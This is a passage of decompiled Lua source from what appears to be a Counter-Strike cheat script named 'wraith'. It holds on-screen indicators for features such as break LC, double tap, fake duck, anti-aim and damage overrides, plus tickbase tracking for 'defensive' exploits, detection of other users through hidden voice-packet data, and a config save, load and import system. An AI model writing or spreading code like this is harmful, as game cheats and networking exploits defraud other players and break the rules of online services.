                    v1345 = "[" .. (v78.max_delta_sq or v1341) .. "] BREAK LC: UNKNOWN";
                    v1346 = color(255, 255, 255, 255);
                end;
            elseif v78.lc_indicator_timer and globals.curtime <= v78.lc_indicator_timer and v78.lc_indicator_message then
                v1345 = v78.lc_indicator_message;
                v1346 = v78.lc_indicator_color;
            else
                v1345 = nil;
            end;
            if v78.ui_alpha > 0 then
                local l_screen_size_9 = v78.screen_size;
                local v1348 = ui.get_mouse_position();
                local v1349 = vector(v729.lcbomba[1], v729.lcbomba[2]);
                local v1350 = v1349.x - 60;
                local v1351 = v1349.y - 20;
                local v1352 = 120;
                local v1353 = 40;
                if not common.is_button_down(1) and v969.current_item == "lcbomba" then
                    v969.dragged = false;
                end;
                if common.is_button_down(1) then
                    if not v969.dragged and v423(v1350, v1351, v1352, v1353) then
                        v969.current_item = "lcbomba";
                        v969.dragged = true;
                        v969.drag_lcbomba_x = v1348.x - v1349.x;
                        v969.drag_lcbomba_y = v1348.y - v1349.y;
                    elseif v969.dragged and v969.current_item == "lcbomba" then
                        v729.lcbomba[1] = v1348.x - v969.drag_lcbomba_x;
                        v729.lcbomba[2] = v1348.y - v969.drag_lcbomba_y;
                        local v1354, v1355, v1356 = v969:screen_percentage();
                        render.gradient(vector(l_screen_size_9.x * 0.5 - 1, 0), vector(l_screen_size_9.x * 0.5 + 1, l_screen_size_9.y * 0.5), color(255, 255, 255, v1356 * 2.55), color(255, 255, 255, v1356 * 2.55), color(255, 255, 255, v1354 * 2.55), color(255, 255, 255, v1354 * 2.55));
                        render.gradient(vector(l_screen_size_9.x * 0.5 - 1, l_screen_size_9.y * 0.5), vector(l_screen_size_9.x * 0.5 + 1, l_screen_size_9.y * 0.5 + l_screen_size_9.y * 0.5), color(255, 255, 255, 2.55 * v1354), color(255, 255, 255, 2.55 * v1354), color(255, 255, 255, v1355 * 2.55), color(255, 255, 255, v1355 * 2.55));
                    end;
                else
                    v969.dragged = false;
                end;
                if v1349.x + 80 >= l_screen_size_9.x * 0.5 - 5 and v1349.x - 80 <= l_screen_size_9.x * 0.5 + 5 and not v969.dragged then
                    v729.lcbomba[1] = v155(v729.lcbomba[1], l_screen_size_9.x * 0.5, globals.frametime * 10);
                end;
                if v423(v1350, v1351, v1352, v1353) or v969.dragged then
                    v969.shoot = false;
                    v78.lc_outline_alpha = v155(v78.lc_outline_alpha, 255, globals.frametime * 10);
                else
                    v78.lc_outline_alpha = v155(v78.lc_outline_alpha, 0, globals.frametime * 10);
                end;
                local v1357 = color(255, 255, 255, v78.lc_outline_alpha);
                render.rect_outline(vector(v1350, v1351), vector(v1350 + v1352, v1351 + v1353), v1357, 1, 5);
            end;
            if v1345 then
                if v122.visuals.break_lc_manager.indicator:get("Background") then
                    local v1358 = render.measure_text(v1342, "c", v1345);
                    local v1359 = 4;
                    local v1360 = v729.lcbomba[1] - v1358.x / 2 - (v1359 + 5);
                    local v1361 = v729.lcbomba[2] - v1358.y / 2 - v1359;
                    local v1362 = v1358.x + (v1359 + 5) * 2;
                    local v1363 = v1358.y + v1359 * 2;
                    render.rect(vector(v1360, v1361), vector(v1360 + v1362, v1361 + v1363), color(0, 0, 0, 50));
                end;
                render.text(v1342, vector(v729.lcbomba[1], v729.lcbomba[2]), v1346, "c", v1345);
            end;
            v78.last_exploit_state = v1343;
            return;
        end;
    end;
end;
local function v1368()
    -- upvalues: v78 (ref)
    local v1365 = v78.choked_commands or 0;
    if v1365 < v78.local_previous_choke then
        local v1366 = v78.local_choke_history or {
            [1] = "0"
        };
        for v1367 = math.min(#v1366, 4), 1, -1 do
            v1366[v1367 + 1] = v1366[v1367];
        end;
        v1366[1] = v78.local_previous_choke;
        if #v1366 > 5 then
            v1366[6] = nil;
        end;
        v78.local_choke_history = v1366;
    end;
    v78.local_previous_choke = v1365;
    return table.concat(v78.local_choke_history or {
        [1] = "0"
    }, "-");
end;
local function v1393(v1369)
    -- upvalues: v122 (ref), v457 (ref), v433 (ref), v63 (ref), v78 (ref), v1368 (ref), v151 (ref), v478 (ref), v464 (ref), v467 (ref), v482 (ref), v696 (ref)
    if not v122.visuals.left_side_indicators.value or #v122.visuals.left_side_indicators.le_list.value == 0 then
        return;
    else
        local v1370 = {};
        local l_le_list_0 = v122.visuals.left_side_indicators.le_list;
        local v1372 = utils.net_channel().latency[0] * 1000;
        local l_value_54 = v122.misc.fake_latency.value;
        local v1374 = math.min(v1372 / l_value_54, 1);
        local v1375 = 0;
        local v1376 = v1375 + (0.3 - v1375) * v1374;
        local v1377, v1378, v1379 = v457(v1376, v1374, 1);
        local v1380 = v433({
            [1] = v1377, 
            [2] = v1378, 
            [3] = v1379
        }, {
            [1] = 195, 
            [2] = 205, 
            [3] = 75
        }, v1374);
        local v1381 = v63.fakelag_ref:get();
        local v1382 = 13;
        local function v1384(v1383)
            -- upvalues: v1382 (ref), l_le_list_0 (ref)
            v1382 = v1382 - 1;
            return l_le_list_0:get(v1383);
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "LC", 
                color = v78.breaking_lc and {
                    [1] = 195, 
                    [2] = 205, 
                    [3] = 75
                } or {
                    [1] = 255, 
                    [2] = 0, 
                    [3] = 0
                }, 
                method = (not not v78.jumping or not v78.on_ground) and v1369.m_vecVelocity:length2d() > 250
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = v1368(), 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v1381
            };
        elseif #v78.local_choke_history ~= 0 then
            v78.local_choke_history = {
                [1] = "0"
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "PING", 
                color = v1380, 
                method = v63.fake_latency_ref:get() > 0 or v122.misc.fake_latency.value > 0
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "DT", 
                color = v78.defensive and {
                    [1] = 195, 
                    [2] = 205, 
                    [3] = 75
                } or {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v63.double_tap_ref:get() and not v63.fake_duck_ref:get()
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "OSAA", 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v63.hideshots_ref:get() and not v63.double_tap_ref:get() and not v63.fake_duck_ref:get()
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "DUCK", 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v63.fake_duck_ref:get()
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "DA", 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v122.misc.dormente_simbot.value
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "SAFE", 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v63.safe_point_ref:get() == "Force"
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "BODY", 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v63.body_aim_ref:get() == "Force"
            };
        end;
        if v1384(v1382) and v151(v78, "Min. Damage") then
            v1370[#v1370 + 1] = {
                text = "MD", 
                method = true, 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }
            };
        end;
        if v1384(v1382) and v151(v78, "Hit Chance") then
            v1370[#v1370 + 1] = {
                text = "HC", 
                method = true, 
                color = {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }
            };
        end;
        if v1384(v1382) then
            v1370[#v1370 + 1] = {
                text = "FS", 
                color = rage.antiaim:get_target(true) ~= nil and {
                    [1] = 160, 
                    [2] = 210, 
                    [3] = 262
                } or {
                    [1] = 230, 
                    [2] = 230, 
                    [3] = 230
                }, 
                method = v122.anti_aim.freestanding.value
            };
        end;
        if v1384(v1382) then
            local v1385 = entity.get_entities("CPlantedC4", true)[1];
            local v1386 = math.floor(v478(v1369, v1385) or 0);
            if v78.bomb_data.planting then
                local v1387 = globals.curtime - v78.bomb_data.plant_start;
                local v1388 = math.max(0, 1 - v1387 / v78.bomb_data.plant_time);
                v1370[#v1370 + 1] = {
                    method = true, 
                    bomb = true, 
                    text = v464(v78.bomb_data.site), 
                    color = {
                        [1] = 255, 
                        [2] = 255, 
                        [3] = 120
                    }, 
                    planting_percentage = v1388
                };
            end;
            if v1385 and not v1385.m_bBombDefused and v467(v1385) > 0 and not v78.bomb_data.bomb_was_bombed then
                local l_m_nBombSite_1 = v1385.m_nBombSite;
                l_m_nBombSite_1 = l_m_nBombSite_1 == 0 and "A" or l_m_nBombSite_1 == 1 and "B" or "?";
                if v78.bomb_data.is_defusing then
                    local v1390 = globals.curtime - v78.bomb_data.defuse_start;
                    local v1391 = math.max(0, 1 - v1390 / v78.bomb_data.defuse_time);
                    render.rect(vector(0, 0), vector(19, v78.screen_size.y), color(12, 12, 12, 200));
                    render.rect(vector(1, v78.screen_size.y - v78.screen_size.y * v1391), vector(18, v78.screen_size.y - v78.screen_size.y * v1391 + v78.screen_size.y), color(182, 231, 23, 140));
                    v1370[#v1370 + 1] = {
                        method = true, 
                        bomb = true, 
                        text = l_m_nBombSite_1 .. " - " .. string.format("%.1f", v467(v1385)) .. "s", 
                        color = {
                            [1] = 195, 
                            [2] = 205, 
                            [3] = 75
                        }, 
                        planting_percentage = v1391
                    };
                else
                    v1370[#v1370 + 1] = {
                        method = true, 
                        kinda_bomb = true, 
                        bomb = true, 
                        text = l_m_nBombSite_1 .. " - " .. string.format("%.1f", v467(v1385)) .. "s", 
                        color = {
                            [1] = 210, 
                            [2] = 210, 
                            [3] = 210
                        }
                    };
                end;
            end;
            if v1385 and v1386 > 0 and not v78.bomb_data.bomb_was_bombed and not v1385.m_bBombDefused then
                local v1392 = v482(v1369, v1385);
                if v1392 and v1386 > 0 then
                    v1370[#v1370 + 1] = {
                        method = true, 
                        kinda_bomb = true, 
                        bomb = false, 
                        text = v1392.text, 
                        color = v1392.color
                    };
                end;
            end;
        end;
        v696:render_indicator(v1370);
        return;
    end;
end;
Endtimer69 = function(v1394, v1395, v1396)
    -- upvalues: v4 (ref)
    v1395 = v1395 + 1;
    local v1397 = common.get_timestamp() - v1394;
    if v4 < v1397 then
        v4 = v1397;
    end;
    local v1398 = (v1396 + v1397) / v1395;
    print_dev(string.format("This call delay: %.2f ms | Average delay: %.2f ms | Highest delay: %.2f ms", v1397, v1398, v4));
end;
v969:apply_fps_optimizations(false);
local function v1400()
    -- upvalues: v969 (ref), v1070 (ref), v1296 (ref), v122 (ref), v1280 (ref), v1289 (ref), v1104 (ref), v124 (ref), v1295 (ref), v78 (ref), v1364 (ref), v1306 (ref), v1270 (ref), v1114 (ref), v1262 (ref), v339 (ref), v1393 (ref), v1122 (ref)
    v969:get_binds();
    v969:animate_logoz();
    local v1399 = entity.get_local_player();
    v1070(60);
    v1296();
    v122.menu_elements();
    v1280();
    v1289();
    v1104();
    v124();
    if not v969.shoot then
        v969.shoot = true;
    end;
    v969:darken_screen();
    v969:draggable_defensive();
    v969:draggable_slow();
    v969:draggable_min_dmg();
    v969:draggable_respect();
    v1295();
    v969:watermark();
    v78.g_notify:think();
    if not v1399 then
        return;
    else
        v1364();
        v1306(v1399);
        if not v122.misc.spree_clan_tag.value and v78.reset_clan_tag then
            common.set_clan_tag("");
            v78.reset_clan_tag = false;
            v78.clan_tag_set = false;
        end;
        if v78.outside == true then
            v78.outside = false;
        end;
        v1270(v78.screen_center.x, v78.screen_center.y);
        v969:modern_spec(v1399, v78.screen_center.x, v78.screen_center.y);
        v969:render_miss_circle();
        v969:render_hitmarker_3d();
        if v78.ui_alpha <= 0 then
            v969:render_slow(v1399, v78.screen_size);
            v969:render_defensive(v1399, v78.screen_size);
        end;
        v1114(v78.screen_center.x, v78.screen_center.y, v78.respect_system.respect_spree_count - 1);
        if not v1399:is_alive() then
            return;
        else
            v1262(v1399, v78.screen_center.x, v78.screen_center.y);
            v339:manual_aa();
            v1393(v1399);
            v969:custom_scope(v1399, v78.screen_center.x, v78.screen_center.y);
            v969:override_circle(v1399);
            v969:min_damage_indicator(v1399, v78.screen_size);
            v1122(v1399, v78.screen_center.x, v78.screen_center.y);
            return;
        end;
    end;
end;
v78.banned_voice_user_list = v78.banned_voice_user_list or {};
local function v1414(v1401)
    -- upvalues: v122 (ref), v78 (ref), v988 (ref), v992 (ref), v65 (ref)
    if not v122.misc.shared_users.value then
        return;
    else
        local v1402 = v122.visuals.vis_logs.log_type:get("System") and v122.visuals.vis_logs.value;
        local l_log_where_5 = v122.visuals.vis_logs.log_where;
        local l_buffer_0 = v1401.buffer;
        if v1401.is_nl or v1401.format == 1 then
            return;
        else
            local l_entity_0 = v1401.entity;
            if l_entity_0 == nil then
                return;
            else
                local v1406 = l_entity_0:get_index();
                local v1407 = l_entity_0:get_name();
                local v1408 = common.get_unixtime() - v78.wait_for_sms;
                l_buffer_0:crypt(v988);
                local v1409 = l_buffer_0:read_bits(16);
                local v1410 = l_buffer_0:read_bits(31);
                if v1408 > 2 then
                    if not v78.banned_voice_user_list[v1406] then
                        v78.banned_voice_user_list[v1406] = {
                            name = v1407
                        };
                    end;
                    return;
                else
                    if v1408 == 2 then
                        v78.banned_voice_user_list = {};
                    end;
                    if v1409 ~= 43947 then
                        return;
                    else
                        local v1411 = "";
                        for _ = 1, 3 do
                            local v1413 = l_buffer_0:read_bits(32);
                            v1411 = v1411 .. string.format("%08x", v1413);
                        end;
                        if v1411 ~= v992(v988, v1410) then
                            return;
                        else
                            v78.is_wraith_user_list[v1406] = {
                                name = v1407
                            };
                            if v78.verified_wraith_users ~= nil and not v78.verified_wraith_users[v1406] then
                                v78.verified_wraith_users[v1406] = {
                                    name = v1407
                                };
                                if v1402 then
                                    v78.g_notify:add("detection ~ " .. v65.light_blue .. v1407 .. " " .. v65.white .. "(" .. v1406 .. ") " .. v65.light_blue .. "is using wraith.", v65.light_blue .. v1407 .. " " .. v65.white .. "(" .. v1406 .. ") " .. v65.light_blue .. "is using wraith.", color(210, 210, 255, 255), 8, l_log_where_5:get("Developer"), l_log_where_5:get("Console"), l_log_where_5:get("Center"), color(210, 210, 255, 255));
                                end;
                            end;
                            return;
                        end;
                    end;
                end;
            end;
        end;
    end;
end;
local function v1418(v1415, v1416)
    -- upvalues: v78 (ref), v159 (ref)
    local v1417 = v1415:get_anim_state();
    if not v1417 or v1416.choked_commands > 0 then
        return;
    else
        v78.real_yaw = v1417.eye_yaw;
        v78.abs_yaw = v1417.abs_yaw;
        v78.body_yaw_raw = v159(v78.abs_yaw - v78.real_yaw);
        v78.body_yaw = math.abs(math.ceil(math.min(math.max(v78.body_yaw_raw, -58), 58)));
        return;
    end;
end;
local function v1423(_, v1420)
    -- upvalues: v78 (ref), v339 (ref), v122 (ref), v63 (ref), v484 (ref)
    v78.unsent_state_synced = v78.unsent_state_synced or v339.current_state;
    local l_current_state_1 = v339.current_state;
    if v339.current_state == "Manual" then
        l_current_state_1 = l_current_state_1 .. " " .. v339.m_state;
    end;
    local v1422 = v78.unsent_state_synced ~= l_current_state_1;
    v78.instant_stance = false;
    if v122.anti_aim.instant_stance.value and v1422 and v1420.choked_commands ~= 0 and not v63.fake_duck_ref:get() then
        v484(true);
        v78.instant_stance = true;
    end;
    if v1420.choked_commands == 0 then
        v484(false);
        v78.current_state_synced = v339.current_state;
        v78.unsent_state_synced = l_current_state_1;
    end;
end;
local function v1427(v1424, v1425)
    -- upvalues: v78 (ref)
    local v1426 = v1424:get_anim_state();
    if not v1426 then
        return;
    else
        if v1425.choked_commands == 0 then
            if not v78.defensive then
                v78.stored_angles_defensive.y = v1426.eye_yaw;
                v78.stored_angles_defensive.y2 = v1426.abs_yaw;
                v78.stored_angles_defensive.z = v1424.m_flPoseParameter[12];
                v78.stored_angles_defensive.x = v1426.eye_pitch;
            end;
            v78.stored_yaw_fire_info.y = v1426.eye_yaw;
            v78.stored_yaw_fire_info.old_body = v78.body_yaw_raw;
        end;
        return;
    end;
end;
local function v1431(v1428, _)
    -- upvalues: v63 (ref), v78 (ref)
    if not v63.double_tap_ref:get() and (rage.exploit:get() ~= 1 or v63.hideshots2_ref:get() ~= "Break LC") and (not v63.double_tap_ref:get() or not v63.hideshots_ref:get() or v63.hideshots2_ref:get() ~= "Break LC") or rage.exploit:get() ~= 1 then
        v78.defensive_ticks_left = 0;
        return false;
    else
        local l_m_nTickBase_0 = v1428.m_nTickBase;
        if math.abs(l_m_nTickBase_0 - v78.max_tickbase) > 64 then
            v78.max_tickbase = 0;
        end;
        if v78.max_tickbase ~= nil then
            v78.defensive_ticks_left = math.min(14, math.max(0, v78.max_tickbase - l_m_nTickBase_0 - 2));
        end;
        v78.max_tickbase = math.max(l_m_nTickBase_0, v78.max_tickbase or 0);
        return;
    end;
end;
local v1434 = {
    tab_to_config = {
        Misc = "misc", 
        ["Anti-aim"] = "anti_aim", 
        Visuals = "visuals"
    }, 
    tab_index_to_name = {
        [1] = "Anti-aim", 
        [2] = "Visuals", 
        [3] = "Misc"
    }, 
    tab_listable_label = v66.misc.config:label("Configs", function(v1432)
        local v1433 = v1432:listable("", "Anti-aim", "Visuals", "Misc");
        v1433:set({
            [1] = 1, 
            [2] = 2, 
            [3] = 3
        });
        return {
            tab_listable = v1433
        };
    end), 
    config_list = v66.misc.config:list("", ""), 
    config_name = v66.misc.config:input("Name"), 
    config_save = v66.misc.config:button("Save", true, true), 
    config_delete = v66.misc.config:button("Delete", true, true), 
    config_load = v66.misc.config:button("Load", true, true), 
    config_label_separator = v66.misc.config:button("\239\129\187", true, true, "Copy config folder path"), 
    config_import = v66.misc.config:button(v64.download .. "  Import config", a, true), 
    config_export = v66.misc.config:button(v64.export .. "  Export config", a, true)
};
local function v1439(v1435)
    -- upvalues: l_base64_0 (ref)
    local l_status_1, l_result_1 = pcall(json.stringify, v1435);
    if l_status_1 then
        local v1438 = l_base64_0.encode(l_result_1);
        files.write("nl\\wraith\\configs.json", v1438);
    else
        print("Error encoding config data");
    end;
end;
local v1440 = "[encoded data, 41696 characters]";
local function v1449()
    -- upvalues: v1440 (ref), v1439 (ref), l_base64_0 (ref)
    local v1441 = files.read("nl\\wraith\\configs.json");
    if not v1441 then
        local v1442 = {
            Default = v1440
        };
        v1439(v1442);
        return v1442;
    else
        local l_status_2, l_result_2 = pcall(l_base64_0.decode, v1441);
        if not l_status_2 then
            local v1445 = {
                Default = v1440
            };
            v1439(v1445);
            return v1445;
        else
            local l_status_3, l_result_3 = pcall(json.parse, l_result_2);
            if l_status_3 and type(l_result_3) == "table" then
                if not l_result_3.Default then
                    l_result_3.Default = v1440;
                    v1439(l_result_3);
                end;
                return l_result_3;
            else
                print("Error parsing JSON config, resetting to default");
                local v1448 = {
                    Default = v1440
                };
                v1439(v1448);
                return v1448;
            end;
        end;
    end;
end;
local v1474 = {
    refresh = function()
        -- upvalues: v1449 (ref), v1434 (ref)
        local v1450 = v1449();
        local v1451 = {
            [1] = "Default"
        };
        for v1452, _ in pairs(v1450) do
            if v1452 ~= "Default" then
                table.insert(v1451, v1452);
            end;
        end;
        table.sort(v1451, function(v1454, v1455)
            return string.lower(v1454) < string.lower(v1455);
        end);
        v1434.config_list:update(v1451);
    end, 
    save = function()
        -- upvalues: v1434 (ref), v78 (ref), v65 (ref), v1449 (ref), l_base64_0 (ref), v354 (ref), v1439 (ref)
        if v1434.config_name.value == "Default" then
            cvar.play:call("buttons/button11.wav");
            v78.g_notify:add("config ~ " .. v65.light_red .. "save failed: " .. v65.white .. "default configs cannot be overwritten", v65.light_red .. "you cannot overwrite default configs", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            return;
        else
            local v1456 = v1449();
            local l_status_4, l_result_4 = pcall(function()
                -- upvalues: l_base64_0 (ref), v354 (ref)
                return l_base64_0.encode(json.stringify(v354:save()));
            end);
            if l_status_4 then
                v1456[v1434.config_name.value] = l_result_4;
                v1439(v1456);
                cvar.play:call("buttons/button14.wav");
                v78.g_notify:add("config ~ " .. v65.lime_green .. "saved successfully", v65.white .. "config " .. v65.lime_green .. "saved", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            else
                v78.g_notify:add("config ~ " .. v65.light_red .. "save failed", v65.light_red .. "unable to save config", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            end;
            return;
        end;
    end, 
    load = function()
        -- upvalues: v1449 (ref), v1434 (ref), v78 (ref), v65 (ref), l_base64_0 (ref), v354 (ref)
        local v1459 = v1449()[v1434.config_name.value];
        if not v1459 then
            v78.g_notify:add("config ~ " .. v65.light_red .. "load failed", v65.light_red .. "config not found", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            return;
        else
            local l_status_5, l_result_5 = pcall(l_base64_0.decode, v1459);
            if not l_status_5 then
                v78.g_notify:add("config ~ " .. v65.light_red .. "load failed", v65.light_red .. "failed to decode config", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                return;
            else
                local l_status_6, l_result_6 = pcall(json.parse, l_result_5);
                if not l_status_6 or type(l_result_6) ~= "table" then
                    v78.g_notify:add("config ~ " .. v65.light_red .. "load failed", v65.light_red .. "failed to parse config", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                    return;
                else
                    local l_value_55 = v1434.tab_listable_label.tab_listable.value;
                    if #l_value_55 == 0 then
                        cvar.play:call("buttons/button11.wav");
                        v78.g_notify:add("config ~ " .. v65.light_red .. "load failed: " .. v65.white .. "no tabs selected for loading", v65.light_red .. "no tabs selected for loading", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                        return;
                    else
                        local v1465 = {};
                        for _, v1467 in ipairs(l_value_55) do
                            local v1468 = v1434.tab_index_to_name[v1467];
                            if v1468 then
                                table.insert(v1465, v1468);
                            end;
                        end;
                        local v1469 = {};
                        for _, v1471 in ipairs(v1465) do
                            local v1472 = v1434.tab_to_config[v1471];
                            if v1472 and l_result_6[v1472] and type(l_result_6[v1472]) == "table" then
                                v354:load(l_result_6, v1472);
                                table.insert(v1469, v1471);
                            else
                                v78.g_notify:add("config ~ " .. v65.light_red .. "load issue", v65.light_red .. "tab '" .. v1471 .. "' could not be loaded", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                            end;
                        end;
                        if #v1469 > 0 then
                            cvar.play:call("buttons/button14.wav");
                            v78.g_notify:add("config ~ " .. v65.lime_green .. "loaded successfully: " .. v65.white .. table.concat(v1469, ", "), v65.white .. "config loaded: " .. v65.lime_green .. table.concat(v1469, ", "), color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                        else
                            v78.g_notify:add("config ~ " .. v65.light_red .. "load failed", v65.light_red .. "no valid tabs could be loaded", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
                        end;
                        return;
                    end;
                end;
            end;
        end;
    end, 
    delete = function()
        -- upvalues: v1434 (ref), v78 (ref), v65 (ref), v1449 (ref), v1439 (ref)
        if v1434.config_name.value == "Default" then
            cvar.play:call("buttons/button11.wav");
            v78.g_notify:add("config ~ " .. v65.light_red .. "delete failed: " .. v65.white .. "default configs cannot be deleted", v65.light_red .. "default configs cannot be deleted", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            return;
        else
            local v1473 = v1449();
            if v1473[v1434.config_name.value] then
                v1473[v1434.config_name.value] = nil;
                v1439(v1473);
                cvar.play:call("buttons\\combine_button7");
                v78.g_notify:add("config ~ " .. v65.light_red .. "deleted " .. v65.lime_green .. "successfully", v65.white .. "config " .. v65.light_red .. "deleted", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            else
                v78.g_notify:add("config ~ " .. v65.light_red .. "delete failed", v65.light_red .. "config not found", color(255, 255, 255, 255), 8, true, true, true, color(255, 255, 255, 255));
            end;
            return;
        end;
    end
};
v1434.config_label_separator:set_callback(function()
    -- upvalues: l_clipboard_0 (ref)
    local v1475 = common.get_game_directory() .. "\\nl\\wraith";
    local v1476 = math.random(1, 100);
    if v1476 <= 10 then
        cvar.play:call("ui/valve_logo_music.wav");
    elseif v1476 <= 55 then
        cvar.play:call("items\\suitchargeok1");
    else
        cvar.play:call("physics\\rubber\\rubber_tire_impact_hard1");
    end;
    l_clipboard_0.set(v1475);
end);
v1474.refresh();
v1434.config_list:set_callback(function(v1477)
    -- upvalues: v1434 (ref)
    local v1478 = v1477.ref and v1477.ref:list();
    if v1478 and v1477.value and v1478[v1477.value] then
        v1434.config_name:set(v1478[v1477.value]);
    end;
end, true);
v1434.config_save:set_callback(function()
    -- upvalues: v1474 (ref)
    v1474.save();
    v1474.refresh();
end);
v1434.config_delete:set_callback(function()
    -- upvalues: v1474 (ref)
    v1474.delete();
    v1474.refresh();
end);
v1434.config_load:set_callback(v1474.load);
v1434.config_import:set_callback(function()
    -- upvalues: l_clipboard_0 (ref), v122 (ref), v1434 (ref), v78 (ref), v65 (ref), l_base64_0 (ref), v354 (ref)
    local v1479 = l_clipboard_0.get();
    local v1480 = v122.visuals.vis_logs.log_type:get("System") and v122.visuals.vis_logs.value;
    local l_log_where_6 = v122.visuals.vis_logs.log_where;
    local l_value_56 = v1434.tab_listable_label.tab_listable.value;
    if #l_value_56 == 0 then
        if v1480 then
            v78.g_notify:add("config ~ " .. v65.light_red .. "no valid tabs imported", v65.light_red .. "no tabs could be imported", color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    elseif not v1479 or v1479:match("[^A-Za-z0-9+/=]") then
        if v1480 then
            v78.g_notify:add("config ~ " .. v65.light_red .. "failed to import.", v65.light_red .. "failed to import " .. v65.white .. "config", color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    else
        local l_status_7, l_result_7 = pcall(l_base64_0.decode, v1479);
        if l_status_7 then
            local l_status_8, l_result_8 = pcall(json.parse, l_result_7);
            if l_status_8 and type(l_result_8) == "table" then
                local v1487 = {};
                local v1488 = {};
                local v1489 = {};
                for _, v1491 in ipairs(l_value_56) do
                    local v1492 = v1434.tab_index_to_name[v1491];
                    if v1492 then
                        table.insert(v1489, v1492);
                    end;
                end;
                for _, v1494 in ipairs(v1489) do
                    local v1495 = v1434.tab_to_config[v1494];
                    if v1495 and l_result_8[v1495] and type(l_result_8[v1495]) == "table" and next(l_result_8[v1495]) then
                        v354:load(l_result_8, v1495);
                        table.insert(v1487, v1494);
                    else
                        table.insert(v1488, v1494);
                    end;
                end;
                if #v1487 > 0 and v1480 then
                    v78.g_notify:add("config ~ " .. v65.lime_green .. "imported successfully: " .. v65.white .. table.concat(v1487, ", "), "config imported: " .. v65.lime_green .. table.concat(v1487, ", "), color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
                end;
                if #v1488 > 0 and v1480 then
                    v78.g_notify:add("config ~ " .. v65.light_red .. "ignored empty tabs: " .. v65.white .. table.concat(v1488, ", "), v65.light_red .. "ignored empty tabs: " .. v65.white .. table.concat(v1488, ", "), color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
                end;
                if #v1487 == 0 and #v1488 > 0 and v1480 then
                    v78.g_notify:add("config ~ " .. v65.light_red .. "no valid tabs were imported.", v65.light_red .. "no valid tab configurations were found to import.", color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
                end;
            elseif v1480 then
                v78.g_notify:add("config ~ " .. v65.light_red .. "failed to import.", v65.light_red .. "failed to import " .. v65.white .. "config", color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
            end;
        elseif v1480 then
            v78.g_notify:add("config ~ " .. v65.light_red .. "failed to import.", v65.light_red .. "failed to import " .. v65.white .. "config", color(255, 255, 255, 255), 8, l_log_where_6:get("Developer"), l_log_where_6:get("Console"), l_log_where_6:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    end;
end);
v1434.config_export:set_callback(function()
    -- upvalues: v122 (ref), v1434 (ref), v78 (ref), v65 (ref), v354 (ref), l_base64_0 (ref), l_clipboard_0 (ref)
    local v1496 = v122.visuals.vis_logs.log_type:get("System") and v122.visuals.vis_logs.value;
    local l_log_where_7 = v122.visuals.vis_logs.log_where;
    local l_value_57 = v1434.tab_listable_label.tab_listable.value;
    if #l_value_57 == 0 then
        if v1496 then
            v78.g_notify:add("config ~ " .. v65.light_red .. "no tabs selected for export.", v65.light_red .. "Please select at least one tab to export.", color(255, 255, 255, 255), 8, l_log_where_7:get("Developer"), l_log_where_7:get("Console"), l_log_where_7:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    else
        local v1499 = {};
        for _, v1501 in ipairs(l_value_57) do
            local v1502 = v1434.tab_index_to_name[v1501];
            if v1502 then
                table.insert(v1499, v1502);
            end;
        end;
        local v1503 = v354:save();
        local v1504 = {};
        for _, v1506 in ipairs(v1499) do
            local v1507 = v1434.tab_to_config[v1506];
            if v1507 and v1503[v1507] then
                v1504[v1507] = v1503[v1507];
            end;
        end;
        local l_status_9, l_result_9 = pcall(function()
            -- upvalues: l_base64_0 (ref), v1504 (ref)
            return l_base64_0.encode(json.stringify(v1504));
        end);
        if l_status_9 then
